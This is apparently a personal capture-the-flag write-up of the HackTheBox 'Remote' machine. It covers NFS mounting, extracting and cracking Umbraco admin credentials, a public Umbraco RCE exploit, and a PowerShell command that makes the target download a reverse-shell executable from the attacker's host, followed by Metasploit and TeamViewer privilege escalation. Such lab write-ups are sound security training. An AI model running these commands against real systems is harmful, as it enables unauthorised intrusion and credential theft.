Interesting. FTP, Webserver and looks like some nfs that we can maybe mount Let's check out the website  Looks to have some sort of blog. 'Umbraco'?   So we've found the login form by clicking 'Go to back office and install forms'. Nice. Default creds don't work here, so we'll come back to it. Let's see if there's anything to mount  Interesting, let's mount it! `sudo mount -t nfs 10.10.10.180:/site_backups /home/kali/ctf/htb/remote/mount` Exactly what it says. Full site backup. Since we know the backend is Umbraco, we can find the version in the `Web.config` file and credentials in the `App_Data/Umbraco.sdf` file. Version:  Creds: Running strings on Umbraco.sdf and redirecting it to a file, we can then run head on that file to see the creds `strings Umbraco.sdf > dbstrings`  So the admin password is a SHA1 hash. Crack it and log in using the forms we found earlier [email protected]:cracked password Now that we have admin authenitcation and know the version, we can try to find an exploit. [https://github.com/noraj/Umbraco-RCE](https://github.com/noraj/Umbraco-RCE) This one looks promising and easy to use. Let's test it  It works! We now have remote code execution. Let's get a proper shell  Transfer that executable to the machine using our RCE exploit `python3 -m http.server` `python3 exploit.py -u [email protected] -p password -i 'http://10.10.10.180' -c powershell.exe -a '-NoProfile -Command Invoke-WebRequest -Uri http://10.10.14.22:8000/rev.exe -OutFile C:/Users/Public/rev.exe'` Now that our shell is on the box, let's fire up the metasploit listener  trigger the shell and off we go So let's enumerate this box a bit. I like winPEAS.  Drop into a shell and run it  Interesting. Looks like TeamViewer7 is running. That's vulnerable. Let's target it. Terminate your shell (ctrl+c) and background (bg) your meterpreter session   Could that be the admin password? Let's use evil-winrm to check  Successfully rooted.   --- Back to [[HackTheBox Index]] Tags: #htb #hackthebox #nfs #box_writeups #umbraco #hashcracking #metasploit #windows #teamviewer7 #evil_win_rm Related: